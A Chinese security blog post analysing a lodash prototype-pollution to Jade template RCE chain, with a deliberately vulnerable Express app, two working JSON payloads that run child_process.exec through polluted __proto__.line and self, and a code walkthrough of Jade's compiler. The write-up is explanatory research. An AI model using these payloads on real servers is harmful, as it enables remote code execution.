赞
踩
记录自己的理解,有什么不对的欢迎各位师傅指正。
- npm install jade@1.11.0
- npm install lodash@4.17.4
- npm install express
app.js
- const express = require('express');
- const path = require('path');
- var lodash= require('lodash');
- const app = express();
- var router = express.Router();
-
- app.set('views', path.join(__dirname));
- app.engine('jade', require('jade').__express);
- app.set("view engine", "jade");
-
- app.use(express.json()).use(express.urlencoded({
- extended: false
- }));
-
-
-
- router.get('/', (req, res, next) => {
- var malicious_payload = req.query.malicious_payload;
-
- lodash.merge({}, JSON.parse(malicious_payload));
- res.render('./index.jade', {
- title: 'hello',
- name: ''
- });
- });
- app.use('/', router)
-
- app.listen(8888, () => console.log('Example app listening on port http://127.0.0.1:8888 !'))
index.jade
- h1 title: #{title}
- p hello #{name}
- {"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').exec('calc')//"}}
-
-
-
- {"__proto__":{"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}
前面这部分和ejs一样的。
入口点还是res.render。
进入app.render,往下走,走到tryRender函数,继续跟进。
调用了view的render方法。继续跟进。
接着看到this.engine,之前分析的ejs有分析过,这个是什么。就不再分析了,继续跟进。
这里会进入jade模板文件的lib目录下的index.js,调用了exports.__express这个函数。然后调用renderFile来渲染文件。继续跟进。
来到函数最后一行,处理模板缓存的一个函数。先是执行handleTemplateCache(options)这个函数,肯定返回一个函数,我们假设把这个函数命名为fn,那么后面这个(options)就是调用fn(options)。继续跟进。
可以看到我打断点的那一行,也就是174行,注意这里返回的内容赋值给了templ变量,然后返回出去了,所以这里一定返回了一个函数,跟进看看。
我把这段代码全部贴出来。获取options变量,获取str变量。然后解析这两个变量,赋值给parsed变量。如果options.compileDebug不等于false,也就是debug模式开起来了。进入if,没开起来就将parsed.body赋值给fn,说明parsed里面可能有body这个属性。如果没有的话,那么就可以污染控制。下面一行代码将fn的值作为函数体创建一个函数,命名为fn。所以说我们这个parsed的body属性能控制的话,这个函数内容就能控制,如果说这个函数能执行,那么我们就可以代码执行。这是一个思考点。接着继续分析,下面创建一个res函数,里面传入locals参数,然后函数体里面调用的就是fn。jade的值就就是Object.create(runtime),相当于嵌套了一下,调用了res的话,就会调用fn函数。然后我们直接看最后一行。确实是返回了res,我们记得之前的时候我们需要返回一个函数,然后会执行这个函数,所以说这个fn函数一定会被执行。那么我们再来看看这个parse.body是否能被控制。我们进入parse(str,options)继续分析。
- exports.compile = function(str, options){
- var options = options || {}
- , filename = options.filename
- ? utils.stringify(options.filename)
- : 'undefined'
- , fn;
-
- str = String(str);
-
- var parsed = parse(str, options);
- if (options.compileDebug !== false) {
- fn = [
- 'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
- , 'try {'
- , parsed.body
- , '} catch (err) {'
- , ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
- , '}'
- ].join('\n');
- } else {
- fn = parsed.body;
- }
- fn = new Function('locals, jade', fn)
- var res = function(locals){ return fn(locals, Object.create(runtime)) };
- if (options.client) {
- res.toString = function () {
- var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
- err.name = 'Warning';
- console.error(err.stack || /* istanbul ignore next */ err.message);
- return exports.compileClient(str, options);
- };
- }
- res.dependencies = parsed.dependencies;
- return res;
- };
1、判断options.lexer是否存在,存在就产生一个警告。
2、创建一个解析器。
3、定义一个tokens变量。
4、解析获取tokens并赋值给tokens。
5、创建一个编译器。
6、定义js变量。
7将编译的结果赋值给js变量。
8、判断debug模式有没有开启,开启则控制台输出错误。
9、定义一个globals数组变量。
10、判断options.globals存不存在,存在就将其进行slice操作之后赋值给globals。
11、将jade、jade_mixins、...、buf等值赋值给globals数组。
12、定义body变量并进行赋值操作,里面有一个三元符的运算,如果options.self为true的话,就将'var self = locals || {};\n' + js 拼接进入body变量。否则将addWith('locals || {}', '\n' + js, globals)拼接进去。
13、返回一个对象,里面有两个属性,一个是body属性,一个是dependencies属性。
body属性的值等于里面 的body变量。所以我们只需要能控制body变量,就能进行代码执行。
- function parse(str, options){
-
- if (options.lexer) {
- console.warn('Using `lexer` as a local in render() is deprecated and '
- + 'will be interpreted as an option in Jade 2.0.0');
- }
-
- // Parse
- var parser = new (options.parser || Parser)(str, options.filename, options);
- var tokens;
- try {
- // Parse
- tokens = parser.parse();
- } catch (err) {
- parser = parser.context();
- runtime.rethrow(err, parser.filename, parser.lexer.lineno, parser.input);
- }
-
- // Compile
- var compiler = new (options.compiler || Compiler)(tokens, options);
- var js;
- try {
- js = compiler.compile();
- } catch (err) {
- if (err.line && (err.filename || !options.filename)) {
- runtime.rethrow(err, err.filename, err.line, parser.input);
- } else {
- if (err instanceof Error) {
- err.message += '\n\nPlease report this entire error and stack trace to https://github.com/jadejs/jade/issues';
- }
- throw err;
- }
- }
-
- // Debug compiler
- if (options.debug) {
- console.error('\nCompiled Function:\n\n\u001b[90m%s\u001b[0m', js.replace(/^/gm, ' '));
- }
-
- var globals = [];
-
- if (options.globals) {
- globals = options.globals.slice();
- }
-
- globals.push('jade');
- globals.push('jade_mixins');
- globals.push('jade_interp');
- globals.push('jade_debug');
- globals.push('buf');
-
- var body = ''
- + 'var buf = [];\n'
- + 'var jade_mixins = {};\n'
- + 'var jade_interp;\n'
- + (options.self
- ? 'var self = locals || {};\n' + js
- : addWith('locals || {}', '\n' + js, globals)) + ';'
- + 'return buf.join("");';
- return {body: body, dependencies: parser.dependencies};
- }
这里我们发现有他将js这个变量拼接进了body变量,我们仔细看看js这个变量怎么获取到的。所以进入
js = compiler.compile();代码中。
1、给this.buf赋值为一个空数组用来存放数据,buf明显就是缓存的意思,最后可以看到return出去了,并且将里面的数据以换行为分割进行的拼接。
2、判断this.pp是否为true。如果是的话将var jade_indent = []; 代码放入这个数组。
3、设置this.lastBufferedIdx为-1。
4、调用this.visit这个函数,传入的参数为this.node。
5、下面的代码有注释,这里就不分析,主要看this.visit函数,我们跟进分析。
1、将this.debug赋值给debug。
2、如果开启了debug模式,然后将里面的代码拼接进buf这个数组里面,可以看到node.line,node.filename都拼接进去了。这里两个参数如果可以控制的话。那么就能代码执行了。这里有一个问题,那就是node.line是有值的。其实它运行了很多遍visit这个函数,我们接下来看看payload怎么拼接进去的。
3、后面代码就不重要了。
第一次调用node.line存在没法控制,接着我们来到visitNode函数。传入的node参数是一个Block的一个对象。那么我们需要了解visitNode这个函数的作用,例如我们传入的Block对象,那么它就会调用visitBlock这个函数,如果是Tag这个对象,那么就会调用visitTag这个对象,以此类推。那么我们继续分析。
可以看到visitNode里面调用了visit这个函数。传入的参数是一个Tag对象。
Tag对象中的line依然不可以控制,我们继续跟进。调用visitTag函数。
visitTag里面还有visit函数,传入的参数是一个block这个类,注意看这个类里面是没有line这个变量的,所以会使用到我们的payload。自此,我们的payload就被拼接,导致代码执行的产生。
buf内容
- Array(4) [jade_debug.unshift(new jade.DebugItem( 0, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
- jade_debug.unshift(new jade.DebugItem( 1, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
- buf.push("<h1>");,
- jade_debug.unshift(new jade.DebugItem( global.proc…rocess').exec('calc'), jade_debug[0].filename ));]
可以看到拼接进去的时候是DebugItem的第一个参数,所以可以直接执行命令。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。